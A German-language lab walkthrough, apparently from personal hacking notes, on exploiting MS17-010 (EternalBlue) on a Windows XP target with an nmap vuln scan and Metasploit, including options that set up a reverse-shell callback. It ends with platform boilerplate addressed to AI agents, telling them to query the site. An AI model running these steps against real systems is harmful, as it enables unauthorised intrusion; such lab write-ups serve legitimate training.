> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/smb-445/eternalblue-exploitation.md).

# EternalBlue-Ausnutzung

## EternalBlue-Ausnutzung - SMB /\[MS17-010]

Der Nmap-Scan zeigt, dass auf dem Zielserver Windows XP läuft, sodass es sich lohnt, die Ausnutzung von MS17-010 zu überprüfen.

Führen Sie einen Nmap-Scan durch, um nach der Schwachstelle zu suchen:

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Dieser Scan bestätigt, dass die Maschine für MS17-010 anfällig ist.

<figure><img src="/files/76627d1e7d6872ea7ceac4bddacb34501b95a03f" alt=""><figcaption></figcaption></figure>

## **Ausnutzung mit Metasploit**

Suchen Sie in Metasploit nach dem Exploit:

```
msfconsole 
search eternalblue 
```

Wählen Sie den zuerst aufgelisteten Exploit aus:

```
use 1
```

<figure><img src="/files/047a3c640d5dec7cac90f9e7e784aa12bcbdc476" alt=""><figcaption></figcaption></figure>

Konfigurieren Sie die Optionen:

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="/files/04c882ef79ea9d57b70990c12603c0047487836d" alt="" width="563"><figcaption></figcaption></figure>

Starten Sie dann den Exploit:

<figure><img src="/files/7cc6a1e76ba9140dc4dec8664eb3da9b23b5fce0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/ports-and-services/smb-445/eternalblue-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
